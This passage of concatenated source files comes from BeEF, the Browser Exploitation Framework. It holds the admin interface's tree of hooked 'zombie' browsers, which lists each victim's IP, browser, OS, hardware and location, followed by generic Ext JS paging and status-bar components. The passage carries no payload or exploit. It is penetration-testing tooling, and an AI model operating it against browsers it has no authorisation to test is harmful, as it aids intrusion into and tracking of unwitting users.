online hooked browser branch if(this.online_hooked_browsers_treenode.childNodes.length > 0) this.online_hooked_browsers_treenode.expand(true); //deletes all the nodes in the offline hooked browser branch try {this.offline_hooked_browsers_treenode.removeAll(true);} catch(e) {}; //adds back the hooked browsers to the offline branch Ext.each(this.offline_hooked_browsers_array, function(offline_hooked_browser) { this.addZombie(offline_hooked_browser, offline_hooked_browser["online"], offline_hooked_browser["checkbox"]); }, this) //expands the offline hooked browser branch if(this.offline_hooked_browsers_treenode.childNodes.length > 0) this.offline_hooked_browsers_treenode.expand(true); }, /* * Adds a new hooked browser to the tree. * @param: {Literal Object} the hooked browser object generated by the zombie manager. * @param: {Boolean} true if the hooked browser is online, false if offline. * */ addZombie: function(hooked_browser, online, checkbox) { var hb_id, mother_node, node; if(online) { hb_id = 'zombie-online-' + hooked_browser.session; mother_node = this.online_hooked_browsers_treenode; } else { hb_id = 'zombie-offline-' + hooked_browser.session; mother_node = this.offline_hooked_browsers_treenode; } var exists = this.getNodeById(hb_id); if(exists) return; // set zombie icons. this should eventually be replaced with CSS classes var browser_icon = 'unknown.png'; switch (hooked_browser.browser_name) { case "FF": browser_icon = 'firefox.png'; break; case "IE": browser_icon = 'msie.png'; break; case "E": browser_icon = 'edge.png'; break; case "EP": browser_icon = 'epiphany.png'; break; case "S": browser_icon = 'safari.png'; break; case "C": browser_icon = 'chrome.png'; break; case "O": browser_icon = 'opera.ico'; break; case "MI": browser_icon = 'midori.png'; break; case "OD": browser_icon = 'odyssey.png'; break; case "BR": browser_icon = 'brave.png'; break; default: browser_icon = 'unknown.png'; break; } var os_icon = 'unknown.png'; switch (hooked_browser.os_name) { case "Android": os_icon = 'android.png'; break; case "Windows": os_icon = 'win.png'; break; case "Linux": os_icon = 'linux.png'; break; case "Mac": os_icon = 'mac.png'; break; case "QNX": os_icon = 'qnx.ico'; break; case "SunOS": os_icon = 'sunos.gif'; break; case "BeOS": os_icon = 'beos.png'; break; case "OpenBSD": os_icon = 'openbsd.ico'; break; case "iOS": os_icon = 'ios.png'; break; case "iPhone": os_icon = 'iphone.jpg'; break; case "iPad": os_icon = 'ipad.png'; break; case "iPod": os_icon = 'ipod.jpg'; break; case "webOS": os_icon = 'webos.png'; break; case "AROS": os_icon = 'icaros.png'; break; case "Maemo": os_icon = 'maemo.ico'; break; case "BlackBerry": os_icon = 'blackberry.png'; break; default: os_icon = 'unknown.png'; break; } var hw_icon = 'unknown.png'; switch (hooked_browser.hw_name) { case "Virtual Machine": hw_icon = 'vm.png'; break; case "Laptop": hw_icon = 'laptop.png'; break; case "Android": hw_icon = 'android.png'; break; case "Android Phone": hw_icon = 'android.png'; break; case "Android Tablet": hw_icon = 'android.png'; break; case "iPhone": hw_icon = 'iphone.jpg'; break; case "iPod Touch": hw_icon = 'ipod.jpg'; break; case "iPad": hw_icon = 'ipad.png'; break; case "BlackBerry": hw_icon = 'blackberry.png'; break; case "BlackBerry Tablet": hw_icon = 'blackberry.png'; break; case "BlackBerry Touch": hw_icon = 'blackberry.png'; break; case "BlackBerry OS 5": hw_icon = 'blackberry.png'; break; case "BlackBerry OS 6": hw_icon = 'blackberry.png'; break; case "Nokia": hw_icon = 'nokia.ico'; break; case "Nokia S60 Open Source": hw_icon = 'nokia.ico'; break; case "Nokia S60": hw_icon = 'nokia.ico'; break; case "Nokia S70": hw_icon = 'nokia.ico'; break; case "Nokia S80": hw_icon = 'nokia.ico'; break; case "Nokia S90": hw_icon = 'nokia.ico'; break; case "Nokia Symbian": hw_icon = 'nokia.ico'; break; case "Maemo Tablet": hw_icon = 'maemo.ico'; break; case "HTC": hw_icon = 'htc.ico'; break; case "Motorola": hw_icon = 'motorola.png'; break; case "Zune": hw_icon = 'zune.gif'; break; case "Kindle": hw_icon = 'kindle.png'; break; case "Kindle Fire": hw_icon = 'kindle.png'; break; case "Nexus": hw_icon = 'nexus.png'; break; case "Google Nexus One": hw_icon = 'nexus.png'; break; case "Ericsson": hw_icon = 'sony_ericsson.png'; break; case "Windows Phone": hw_icon = 'win.png'; break; case "Windows Phone 7": hw_icon = 'win.png'; break; case "Windows Phone 8": hw_icon = 'win.png'; break; case "Windows Phone 10": hw_icon = 'win.png'; break; case "Windows Mobile": hw_icon = 'win.png'; break; default: hw_icon = 'pc.png'; break; } // set zombie hover balloon text for tree node // Use Ext.util.Format.htmlEncode() to prevent XSS via malicious browser properties var encode = Ext.util.Format.htmlEncode; var balloon_text = ""; balloon_text += encode(hooked_browser.ip); balloon_text += "
    " balloon_text += " "; balloon_text += "Origin: " + encode(hooked_browser.domain) + ":" + encode(hooked_browser.port); balloon_text += "
    "; balloon_text += " "; balloon_text += "Browser: " + encode(hooked_browser.browser_name) + " " + encode(hooked_browser.browser_version); balloon_text += "
    "; balloon_text += " "; if (hooked_browser.os_version == 'Unknown') { balloon_text += "OS: " + encode(hooked_browser.os_name); } else { balloon_text += "OS: " + encode(hooked_browser.os_name) + ' ' + encode(hooked_browser.os_version); } balloon_text += "
    "; balloon_text += " "; balloon_text += "Hardware: " + encode(hooked_browser.hw_name); balloon_text += "
    "; if ( !hooked_browser.country || !hooked_browser.country_code || hooked_browser.country == 'Unknown' ) { balloon_text += " "; balloon_text += "Location: Unknown"; } else { balloon_text += " "; balloon_text += "Location: " + encode(hooked_browser.city) + ", " + encode(hooked_browser.country); } balloon_text += "
    "; balloon_text += "Local Date: " + encode(hooked_browser.date); hooked_browser.qtip = balloon_text; // set zombie text label for tree node var text = ""; text += " "; text += " "; text += " "; if ( !hooked_browser.country || !hooked_browser.country_code || hooked_browser.country == 'Unknown' ) { text += " "; } else { text += " "; } text += encode(hooked_browser.ip); hooked_browser.text = text; //save a new online HB if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) { if (<%= BeEF::Core::Configuration.instance.get("beef.extension.admin_ui.play_sound_on_new_zombie") %>) { try { var sound = new Audio('<%= @base_path %>/media/audio/new_zombie.mp3'); sound.play(); } catch(e) {} } this.online_hooked_browsers_array.push(hooked_browser); } //save a new offline HB if(!online && this.offline_hooked_browsers_array.indexOf(hooked_browser)==-1) { this.offline_hooked_browsers_array.push(hooked_browser); } //apply CSS styles and configuring the hooked browser for the tree Ext.apply(hooked_browser, { iconCls: 'feed-icon', leaf:true, id: hb_id, checked: ((checkbox) ? false : null), online: online, checkbox: checkbox }); //creates a new node for that hooked browser node = new Ext.tree.TreeNode(hooked_browser); //creates a sub-branch for that HB if necessary mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox); if(online) { //add the hooked browser to the online branch Ext.apply(hooked_browser, {cls: 'zombie-online'}); mother_node.appendChild(node); } else { //add the hooked browser to the offline branch Ext.apply(hooked_browser, {cls: 'zombie-offline'}); mother_node.appendChild(node); } return node; }, /* * Adds a sub-branch or sub-folder to the tree. * @param: {Ext.tree.TreeNode} the mother node. * @param: {String} the name of the new sub branch. * @param: {Boolean} true if the sub-branch should have a checkbox; false if not. */ addSubFolder: function(mother_node, folder, checkbox) { if(!folder) return mother_node; if(mother_node.hasChildNodes()) { for(i in mother_node.childNodes) { node = mother_node.childNodes[i]; if(typeof node == 'object' && node.attributes.text == folder) return node; } } else { sub_folder_node = new Ext.tree.TreeNode({ id: 'sub-folder-'+folder, text: folder, qtip: "Browsers hooked on "+folder, checked: ((checkbox) ? false : null), type: this.tree_configuration["sub-branch"] }); mother_node.appendChild(sub_folder_node); mother_node = sub_folder_node; } return mother_node; }, /* * Remove any duplicated hooked browsers in branches. * @param: {Literal Object} object containing the list of hooked browsers. */ compareAndRemove: function(zombies) { var arr = ['online', 'offline']; var has_changed = false; Ext.each(arr, function(branch_type) { var new_set_zombies = zombies[branch_type]; var new_set_zombies_array = new Array; //converts the new set of zombies to an array Ext.iterate(new_set_zombies, function(key, hooked_browser) { new_set_zombies_array.push(hooked_browser); }); //retrieves all the new hooked browsers' session id var new_set_zombies_sessions = Ext.pluck(new_set_zombies_array, 'session'); if(!new_set_zombies_sessions) return; //retrieves the branch that will be updated var branch_node = eval('this.'+branch_type+'_hooked_browsers_treenode'); //retrieves the list of known hooked browsers in that branch var hooked_browser_array = eval('this.'+branch_type+'_hooked_browsers_array'); if(hooked_browser_array.length == 0) return; //we compare the list of known HBs to the new set of HBs retrieved. If a HB is missing //we delete it from the tree. Ext.iterate(hooked_browser_array, function(known_hooked_browser, key) { if(!known_hooked_browser) return; var hb_session = known_hooked_browser["session"]; if(new_set_zombies_sessions.indexOf(hb_session)==-1) { var node = this.getNodeById('zombie-'+branch_type+'-'+hb_session); if(node) { //remove the node from the tree branch_node.removeChild(node); var parentNode = node.parentNode; // remove the node parent sub-folder only if there are not any other HBs as child of it // (basically, zombies that comes from the same IP) if(parentNode.childNodes.length <= 1){ branch_node.removeChild(parentNode); } //because ExtJs has a bug with node.destroy() this is a hack to make it work for beef. node.setId("hooked-browser-node-destroyed"); //update the array of hooked browser hooked_browser_array = hooked_browser_array.slice(key, key+1); eval('this.'+branch_type+'_hooked_browsers_array = hooked_browser_array'); } } // if a HB is in both the node list and the new list - check its ip is still correct - and if not update it if(new_set_zombies_sessions.indexOf(hb_session)!=-1) { Ext.iterate(new_set_zombies, function(key, new_zombie) { if (new_zombie.session == known_hooked_browser.session && new_zombie.ip != known_hooked_browser.ip) { known_hooked_browser.ip = new_zombie.ip; known_hooked_browser.domain = new_zombie.ip; known_hooked_browser.port=new_zombie.port; known_hooked_browser.text = known_hooked_browser.text.replace(/\d*\.\d*\.\d*\.\d*/gi, new_zombie.ip); has_changed = true; } }); } }, this); }, this); // if an ip change was made - reload the try to show the change if (has_changed) { this.reload(); } }, }); ================================================ FILE: extensions/admin_ui/media/javascript/ux/PagingStore.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * PagingStore for Ext 3.2 - v0.5 */ Ext.ns('Ext.ux.data'); Ext.ux.data.PagingStore = Ext.extend(Ext.data.Store, { add: function (records) { records = [].concat(records); if (records.length < 1) { return; } for (var i = 0, len = records.length; i < len; i++) { records[i].join(this); } var index = this.data.length; this.data.addAll(records); // *** add *** if (this.allData) { this.allData.addAll(records); } // *** end *** if (this.snapshot) { this.snapshot.addAll(records); } // *** add *** this.totalLength += records.length; // *** end *** this.fireEvent('add', this, records, index); }, remove: function (record) { if (Ext.isArray(record)) { Ext.each(record, function (r) { this.remove(r); }, this); return; } // *** add *** if (this != record.store) { return; } record.join(null); // *** end *** var index = this.data.indexOf(record); if (index > -1) { // record.join(null); this.data.removeAt(index); } if (this.pruneModifiedRecords) { this.modified.remove(record); } // *** add *** if (this.allData) { this.allData.remove(record); } // *** end *** if (this.snapshot) { this.snapshot.remove(record); } // *** add *** this.totalLength--; // *** end *** if (index > -1) { this.fireEvent('remove', this, record, index); } }, removeAll: function (silent) { // *** add *** var items = [].concat((this.snapshot || this.allData || this.data).items); // *** end *** // var items = []; // this.each(function (rec) { // items.push(rec); // }); this.clearData(); // if (this.snapshot) { // this.snapshot.clear(); // } if (this.pruneModifiedRecords) { this.modified = []; } // *** add *** this.totalLength = 0; // *** end *** if (silent !== true) { this.fireEvent('clear', this, items); } }, insert: function (index, records) { records = [].concat(records); for (var i = 0, len = records.length; i < len; i++) { this.data.insert(index, records[i]); records[i].join(this); } // *** add *** if (this.allData) { this.allData.addAll(records); } // *** end *** if (this.snapshot) { this.snapshot.addAll(records); } // *** add *** this.totalLength += records.length; // *** end *** this.fireEvent('add', this, records, index); }, getById: function (id) { // *** add *** return (this.snapshot || this.allData || this.data).key(id); // *** end *** // return this.data.key(id); }, clearData: function () { // *** add *** if (this.allData) { this.data = this.allData; delete this.allData; } if (this.snapshot) { this.data = this.snapshot; delete this.snapshot; } // *** end *** this.data.each(function (rec) { rec.join(null); }); this.data.clear(); }, execute: function (action, rs, options, batch) { if (!Ext.data.Api.isAction(action)) { throw new Ext.data.Api.Error('execute', action); } options = Ext.applyIf(options || {}, { params: {} }); if (batch !== undefined) { this.addToBatch(batch); } var doRequest = true; if (action === 'read') { doRequest = this.fireEvent('beforeload', this, options); Ext.applyIf(options.params, this.baseParams); } else { if (this.writer.listful === true && this.restful !== true) { rs = (Ext.isArray(rs)) ? rs : [rs]; } else if (Ext.isArray(rs) && rs.length == 1) { rs = rs.shift(); } if ((doRequest = this.fireEvent('beforewrite', this, action, rs, options)) !== false) { this.writer.apply(options.params, this.baseParams, action, rs); } } if (doRequest !== false) { if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, action)) { options.params.xaction = action; } // *** add *** if (action === "read" && this.isPaging(Ext.apply({}, options.params))) { (function () { if (this.allData) { this.data = this.allData; delete this.allData; } this.applyPaging(); this.fireEvent("datachanged", this); var r = [].concat(this.data.items); this.fireEvent("load", this, r, options); if (options.callback) { options.callback.call(options.scope || this, r, options, true); } }).defer(1, this); return true; } // *** end *** this.proxy.request(Ext.data.Api.actions[action], rs, options.params, this.reader, this.createCallback(action, rs, batch), this, options); } return doRequest; }, loadRecords: function (o, options, success) { if (this.isDestroyed === true) { return; } if (!o || success === false) { if (success !== false) { this.fireEvent('load', this, [], options); } if (options.callback) { options.callback.call(options.scope || this, [], options, false, o); } return; } var r = o.records, t = o.totalRecords || r.length; if (!options || options.add !== true) { if (this.pruneModifiedRecords) { this.modified = []; } for (var i = 0, len = r.length; i < len; i++) { r[i].join(this); } //if (this.snapshot) { // this.data = this.snapshot; // delete this.snapshot; //} this.clearData(); this.data.addAll(r); this.totalLength = t; this.applySort(); // *** add *** if (!this.allData) { this.applyPaging(); } if (r.length > this.getCount()) { r = [].concat(this.data.items); } // *** end *** this.fireEvent('datachanged', this); } else { this.totalLength = Math.max(t, this.data.length + r.length); this.add(r); } this.fireEvent('load', this, r, options); if (options.callback) { options.callback.call(options.scope || this, r, options, true); } }, loadData: function (o, append) { // *** add *** this.isPaging(Ext.apply({}, this.lastOptions ? this.lastOptions.params : null, this.baseParams)); // *** end *** var r = this.reader.readRecords(o); this.loadRecords(r, { add: append }, true); }, getTotalCount: function () { // *** add *** if (this.allData) { return this.allData.getCount(); } // *** end *** return this.totalLength || 0; }, sortData: function () { var sortInfo = this.hasMultiSort ? this.multiSortInfo : this.sortInfo, direction = sortInfo.direction || "ASC", sorters = sortInfo.sorters, sortFns = []; if (!this.hasMultiSort) { sorters = [{ direction: direction, field: sortInfo.field }]; } for (var i = 0, j = sorters.length; i < j; i++) { sortFns.push(this.createSortFunction(sorters[i].field, sorters[i].direction)); } if (!sortFns.length) { return; } var directionModifier = direction.toUpperCase() == "DESC" ? -1 : 1; var fn = function (r1, r2) { var result = sortFns[0].call(this, r1, r2); if (sortFns.length > 1) { for (var i = 1, j = sortFns.length; i < j; i++) { result = result || sortFns[i].call(this, r1, r2); } } return directionModifier * result; }; // *** add *** if (this.allData) { this.data = this.allData; delete this.allData; } // *** end *** this.data.sort(direction, fn); if (this.snapshot && this.snapshot != this.data) { this.snapshot.sort(direction, fn); } // *** add *** this.applyPaging(); // *** end *** }, filterBy: function (fn, scope) { // *** add *** this.snapshot = this.snapshot || this.allData || this.data; // *** end *** // this.snapshot = this.snapshot || this.data; this.data = this.queryBy(fn, scope || this); // *** add *** this.applyPaging(); // *** end *** this.fireEvent('datachanged', this); }, clearFilter: function (suppressEvent) { if (this.isFiltered()) { this.data = this.snapshot; delete this.snapshot; // *** add *** delete this.allData; this.applyPaging(); // *** end *** if (suppressEvent !== true) { this.fireEvent('datachanged', this); } } }, isFiltered: function () { // *** add *** return !!this.snapshot && this.snapshot != (this.allData || this.data); // *** end *** // return !!this.snapshot && this.snapshot != this.data; }, queryBy: function (fn, scope) { // *** add *** var data = this.snapshot || this.allData || this.data; // *** end *** // var data = this.snapshot || this.data; return data.filterBy(fn, scope || this); }, collect: function (dataIndex, allowNull, bypassFilter) { // *** add *** var d = (bypassFilter === true ? this.snapshot || this.allData || this.data : this.data).items; // *** end *** // var d = (bypassFilter === true && this.snapshot) ? this.snapshot.items : this.data.items; var v, sv, r = [], l = {}; for (var i = 0, len = d.length; i < len; i++) { v = d[i].data[dataIndex]; sv = String(v); if ((allowNull || !Ext.isEmpty(v)) && !l[sv]) { l[sv] = true; r[r.length] = v; } } return r; }, findInsertIndex : function(record){ this.suspendEvents(); var data = this.data.clone(); this.data.add(record); this.applySort(); var index = this.data.indexOf(record); this.data = data; // *** add *** this.totalLength--; // *** end *** this.resumeEvents(); return index; }, // *** add *** isPaging: function (params) { var pn = this.paramNames, start = params[pn.start], limit = params[pn.limit]; if ((typeof start != 'number') || (typeof limit != 'number')) { delete this.start; delete this.limit; this.lastParams = params; return false; } this.start = start; this.limit = limit; delete params[pn.start]; delete params[pn.limit]; var lastParams = this.lastParams; this.lastParams = params; if (!this.proxy) { return true; } if (!lastParams) { return false; } for (var param in params) { if (params.hasOwnProperty(param) && (params[param] !== lastParams[param])) { return false; } } for (param in lastParams) { if (lastParams.hasOwnProperty(param) && (params[param] !== lastParams[param])) { return false; } } return true; }, applyPaging: function () { var start = this.start, limit = this.limit; if ((typeof start == 'number') && (typeof limit == 'number')) { var allData = this.data, data = new Ext.util.MixedCollection(allData.allowFunctions, allData.getKey); data.items = allData.items.slice(start, start + limit); data.keys = allData.keys.slice(start, start + limit); var len = data.length = data.items.length; var map = {}; for (var i = 0; i < len; i++) { var item = data.items[i]; map[data.getKey(item)] = item; } data.map = map; this.allData = allData; this.data = data; } } // *** end *** }); Ext.ux.data.PagingDirectStore = Ext.extend(Ext.ux.data.PagingStore, { constructor: Ext.data.DirectStore.prototype.constructor }); Ext.reg('pagingdirectstore', Ext.ux.data.PagingDirectStore); Ext.ux.data.PagingJsonStore = Ext.extend(Ext.ux.data.PagingStore, { constructor: Ext.data.JsonStore.prototype.constructor }); Ext.reg('pagingjsonstore', Ext.ux.data.PagingJsonStore); Ext.ux.data.PagingXmlStore = Ext.extend(Ext.ux.data.PagingStore, { constructor: Ext.data.XmlStore.prototype.constructor }); Ext.reg('pagingxmlstore', Ext.ux.data.PagingXmlStore); Ext.ux.data.PagingArrayStore = Ext.extend(Ext.ux.data.PagingStore, { constructor: Ext.data.ArrayStore.prototype.constructor, loadData: function (data, append) { if (this.expandData === true) { var r = []; for (var i = 0, len = data.length; i < len; i++) { r[r.length] = [data[i]]; } data = r; } Ext.ux.data.PagingArrayStore.superclass.loadData.call(this, data, append); } }); Ext.reg('pagingarraystore', Ext.ux.data.PagingArrayStore); Ext.ux.data.PagingSimpleStore = Ext.ux.data.PagingArrayStore; Ext.reg('pagingsimplestore', Ext.ux.data.PagingSimpleStore); Ext.ux.data.PagingGroupingStore = Ext.extend(Ext.ux.data.PagingStore, Ext.copyTo({}, Ext.data.GroupingStore.prototype, [ 'constructor', 'remoteGroup', 'groupOnSort', 'groupDir', 'clearGrouping', 'groupBy', 'sort', 'applyGroupField', 'applyGrouping', 'getGroupState' ])); Ext.reg('paginggroupingstore', Ext.ux.data.PagingGroupingStore); Ext.ux.PagingToolbar = Ext.extend(Ext.PagingToolbar, { onLoad: function (store, r, o) { if (!this.rendered) { this.dsLoaded = [store, r, o]; return; } var p = this.getParams(); this.cursor = (o.params && o.params[p.start]) ? o.params[p.start] : 0; this.onChange(); // *** end *** // var d = this.getPageData(), // ap = d.activePage, // ps = d.pages; // this.afterTextItem.setText(String.format(this.afterPageText, d.pages)); // this.inputItem.setValue(ap); // this.first.setDisabled(ap == 1); // this.prev.setDisabled(ap == 1); // this.next.setDisabled(ap == ps); // this.last.setDisabled(ap == ps); // this.refresh.enable(); // this.updateInfo(); // this.fireEvent('change', this, d); }, onChange: function () { // *** add *** var t = this.store.getTotalCount(), s = this.pageSize; if (this.cursor >= t) { this.cursor = Math.ceil((t + 1) / s) * s; } // *** end *** var d = this.getPageData(), ap = d.activePage, ps = d.pages; this.afterTextItem.setText(String.format(this.afterPageText, d.pages)); this.inputItem.setValue(ap); this.first.setDisabled(ap == 1); this.prev.setDisabled(ap == 1); this.next.setDisabled(ap == ps); this.last.setDisabled(ap == ps); this.refresh.enable(); this.updateInfo(); this.fireEvent('change', this, d); }, onClear: function () { this.cursor = 0; this.onChange(); }, doRefresh: function () { // *** add *** delete this.store.lastParams; // *** end *** this.doLoad(this.cursor); }, bindStore: function (store, initial) { var doLoad; if (!initial && this.store) { if (store !== this.store && this.store.autoDestroy) { this.store.destroy(); } else { this.store.un('beforeload', this.beforeLoad, this); this.store.un('load', this.onLoad, this); this.store.un('exception', this.onLoadError, this); // *** add *** this.store.un('datachanged', this.onChange, this); this.store.un('add', this.onChange, this); this.store.un('remove', this.onChange, this); this.store.un('clear', this.onClear, this); // *** end *** } if (!store) { this.store = null; } } if (store) { store = Ext.StoreMgr.lookup(store); store.on({ scope: this, beforeload: this.beforeLoad, load: this.onLoad, exception: this.onLoadError, // *** add *** datachanged: this.onChange, add: this.onChange, remove: this.onChange, clear: this.onClear // *** end *** }); doLoad = true; } this.store = store; if (doLoad) { this.onLoad(store, null, {}); } } }); Ext.reg('ux.paging', Ext.ux.PagingToolbar); ================================================ FILE: extensions/admin_ui/media/javascript/ux/StatusBar.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /*! * Ext JS Library 3.1.1 * Copyright(c) 2006-2010 Ext JS, LLC * licensing@extjs.com * http://www.extjs.com/license */ /** * @class Ext.ux.StatusBar *

    Basic status bar component that can be used as the bottom toolbar of any {@link Ext.Panel}. In addition to * supporting the standard {@link Ext.Toolbar} interface for adding buttons, menus and other items, the StatusBar * provides a greedy status element that can be aligned to either side and has convenient methods for setting the * status text and icon. You can also indicate that something is processing using the {@link #showBusy} method.

    *
    
    new Ext.Panel({
        title: 'StatusBar',
        // etc.
        bbar: new Ext.ux.StatusBar({
            id: 'my-status',
    
            // defaults to use when the status is cleared:
            defaultText: 'Default status text',
            defaultIconCls: 'default-icon',
    
            // values to set initially:
            text: 'Ready',
            iconCls: 'ready-icon',
    
            // any standard Toolbar items:
            items: [{
                text: 'A Button'
            }, '-', 'Plain Text']
        })
    });
    
    // Update the status bar later in code:
    var sb = Ext.getCmp('my-status');
    sb.setStatus({
        text: 'OK',
        iconCls: 'ok-icon',
        clear: true // auto-clear after a set interval
    });
    
    // Set the status bar to show that something is processing:
    sb.showBusy();
    
    // processing....
    
    sb.clearStatus(); // once completeed
    
    * @extends Ext.Toolbar * @constructor * Creates a new StatusBar * @param {Object/Array} config A config object */ Ext.ux.StatusBar = Ext.extend(Ext.Toolbar, { /** * @cfg {String} statusAlign * The alignment of the status element within the overall StatusBar layout. When the StatusBar is rendered, * it creates an internal div containing the status text and icon. Any additional Toolbar items added in the * StatusBar's {@link #items} config, or added via {@link #add} or any of the supported add* methods, will be * rendered, in added order, to the opposite side. The status element is greedy, so it will automatically * expand to take up all sapce left over by any other items. Example usage: *
    
    // Create a left-aligned status bar containing a button,
    // separator and text item that will be right-aligned (default):
    new Ext.Panel({
        title: 'StatusBar',
        // etc.
        bbar: new Ext.ux.StatusBar({
            defaultText: 'Default status text',
            id: 'status-id',
            items: [{
                text: 'A Button'
            }, '-', 'Plain Text']
        })
    });
    
    // By adding the statusAlign config, this will create the
    // exact same toolbar, except the status and toolbar item
    // layout will be reversed from the previous example:
    new Ext.Panel({
        title: 'StatusBar',
        // etc.
        bbar: new Ext.ux.StatusBar({
            defaultText: 'Default status text',
            id: 'status-id',
            statusAlign: 'right',
            items: [{
                text: 'A Button'
            }, '-', 'Plain Text']
        })
    });
    
    */ /** * @cfg {String} defaultText * The default {@link #text} value. This will be used anytime the status bar is cleared with the * useDefaults:true option (defaults to ''). */ /** * @cfg {String} defaultIconCls * The default {@link #iconCls} value (see the iconCls docs for additional details about customizing the icon). * This will be used anytime the status bar is cleared with the useDefaults:true option (defaults to ''). */ /** * @cfg {String} text * A string that will be initially set as the status message. This string * will be set as innerHTML (html tags are accepted) for the toolbar item. * If not specified, the value set for {@link #defaultText} * will be used. */ /** * @cfg {String} iconCls * A CSS class that will be initially set as the status bar icon and is * expected to provide a background image (defaults to ''). * Example usage:
    
    // Example CSS rule:
    .x-statusbar .x-status-custom {
        padding-left: 25px;
        background: transparent url(images/custom-icon.gif) no-repeat 3px 2px;
    }
    
    // Setting a default icon:
    var sb = new Ext.ux.StatusBar({
        defaultIconCls: 'x-status-custom'
    });
    
    // Changing the icon:
    sb.setStatus({
        text: 'New status',
        iconCls: 'x-status-custom'
    });
    
    */ /** * @cfg {String} cls * The base class applied to the containing element for this component on render (defaults to 'x-statusbar') */ cls : 'x-statusbar', /** * @cfg {String} busyIconCls * The default {@link #iconCls} applied when calling * {@link #showBusy} (defaults to 'x-status-busy'). * It can be overridden at any time by passing the iconCls * argument into {@link #showBusy}. */ busyIconCls : 'x-status-busy', //BEEF ADDED errorIconCls : 'x-status-error', validIconCls : 'x-status-valid', /** * @cfg {String} busyText * The default {@link #text} applied when calling * {@link #showBusy} (defaults to 'Loading...'). * It can be overridden at any time by passing the text * argument into {@link #showBusy}. */ busyText : 'Loading...', /** * @cfg {Number} autoClear * The number of milliseconds to wait after setting the status via * {@link #setStatus} before automatically clearing the status * text and icon (defaults to 5000). Note that this only applies * when passing the clear argument to {@link #setStatus} * since that is the only way to defer clearing the status. This can * be overridden by specifying a different wait value in * {@link #setStatus}. Calls to {@link #clearStatus} * always clear the status bar immediately and ignore this value. */ autoClear : 5000, /** * @cfg {String} emptyText * The text string to use if no text has been set. Defaults to * ' '). If there are no other items in the toolbar using * an empty string ('') for this value would end up in the toolbar * height collapsing since the empty string will not maintain the toolbar * height. Use '' if the toolbar should collapse in height * vertically when no text is specified and there are no other items in * the toolbar. */ emptyText : ' ', // private activeThreadId : 0, // private initComponent : function(){ if(this.statusAlign=='right'){ this.cls += ' x-status-right'; } Ext.ux.StatusBar.superclass.initComponent.call(this); }, // private afterRender : function(){ Ext.ux.StatusBar.superclass.afterRender.call(this); var right = this.statusAlign == 'right'; this.currIconCls = this.iconCls || this.defaultIconCls; this.statusEl = new Ext.Toolbar.TextItem({ cls: 'x-status-text ' + (this.currIconCls || ''), text: this.text || this.defaultText || '' }); if(right){ this.add('->'); this.add(this.statusEl); }else{ this.insert(0, this.statusEl); this.insert(1, '->'); } this.doLayout(); }, /** * Sets the status {@link #text} and/or {@link #iconCls}. Also supports automatically clearing the * status that was set after a specified interval. * @param {Object/String} config A config object specifying what status to set, or a string assumed * to be the status text (and all other options are defaulted as explained below). A config * object containing any or all of the following properties can be passed:
      *
    • text {String} : (optional) The status text to display. If not specified, any current * status text will remain unchanged.
    • *
    • iconCls {String} : (optional) The CSS class used to customize the status icon (see * {@link #iconCls} for details). If not specified, any current iconCls will remain unchanged.
    • *
    • clear {Boolean/Number/Object} : (optional) Allows you to set an internal callback that will * automatically clear the status text and iconCls after a specified amount of time has passed. If clear is not * specified, the new status will not be auto-cleared and will stay until updated again or cleared using * {@link #clearStatus}. If true is passed, the status will be cleared using {@link #autoClear}, * {@link #defaultText} and {@link #defaultIconCls} via a fade out animation. If a numeric value is passed, * it will be used as the callback interval (in milliseconds), overriding the {@link #autoClear} value. * All other options will be defaulted as with the boolean option. To customize any other options, * you can pass an object in the format:
        *
      • wait {Number} : (optional) The number of milliseconds to wait before clearing * (defaults to {@link #autoClear}).
      • *
      • anim {Number} : (optional) False to clear the status immediately once the callback * executes (defaults to true which fades the status out).
      • *
      • useDefaults {Number} : (optional) False to completely clear the status text and iconCls * (defaults to true which uses {@link #defaultText} and {@link #defaultIconCls}).
      • *
    * Example usage:
    
    // Simple call to update the text
    statusBar.setStatus('New status');
    
    // Set the status and icon, auto-clearing with default options:
    statusBar.setStatus({
        text: 'New status',
        iconCls: 'x-status-custom',
        clear: true
    });
    
    // Auto-clear with custom options:
    statusBar.setStatus({
        text: 'New status',
        iconCls: 'x-status-custom',
        clear: {
            wait: 8000,
            anim: false,
            useDefaults: false
        }
    });
    
    * @return {Ext.ux.StatusBar} this */ setStatus : function(o){ o = o || {}; if(typeof o == 'string'){ o = {text:o}; } if(o.text !== undefined){ this.setText(o.text); } if(o.iconCls !== undefined){ this.setIcon(o.iconCls); } if(o.clear){ var c = o.clear, wait = this.autoClear, defaults = {useDefaults: true, anim: true}; if(typeof c == 'object'){ c = Ext.applyIf(c, defaults); if(c.wait){ wait = c.wait; } }else if(typeof c == 'number'){ wait = c; c = defaults; }else if(typeof c == 'boolean'){ c = defaults; } c.threadId = this.activeThreadId; this.clearStatus.defer(wait, this, [c]); } return this; }, /** * Clears the status {@link #text} and {@link #iconCls}. Also supports clearing via an optional fade out animation. * @param {Object} config (optional) A config object containing any or all of the following properties. If this * object is not specified the status will be cleared using the defaults below:
      *
    • anim {Boolean} : (optional) True to clear the status by fading out the status element (defaults * to false which clears immediately).
    • *
    • useDefaults {Boolean} : (optional) True to reset the text and icon using {@link #defaultText} and * {@link #defaultIconCls} (defaults to false which sets the text to '' and removes any existing icon class).
    • *
